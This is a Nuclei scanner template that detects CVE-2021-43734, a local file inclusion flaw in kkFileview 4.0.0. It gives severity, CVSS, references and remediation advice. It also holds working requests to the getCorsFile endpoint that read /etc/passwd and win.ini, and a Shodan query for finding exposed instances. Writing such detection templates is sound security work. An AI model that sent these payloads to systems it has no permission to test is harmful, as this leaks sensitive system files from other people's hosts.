nuclei-templates/http/cves/2021/CVE-2021-43734.yaml

id: CVE-2021-43734

info:
  name: kkFileview v4.0.0 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.
  remediation: |
    Upgrade to a patched version of kkFileview v4.0.1 or later, or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/304
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43734
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43734
    cwe-id: CWE-22
    epss-score: 0.03257
    epss-percentile: 0.90187
    cpe: cpe:2.3:a:keking:kkfileview:4.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: keking
    product: kkfileview
    shodan-query: http.html:"kkFileView"
  tags: cve,cve2021,kkfileview,traversal,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd"
      - "{{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: status
        status:
          - 200

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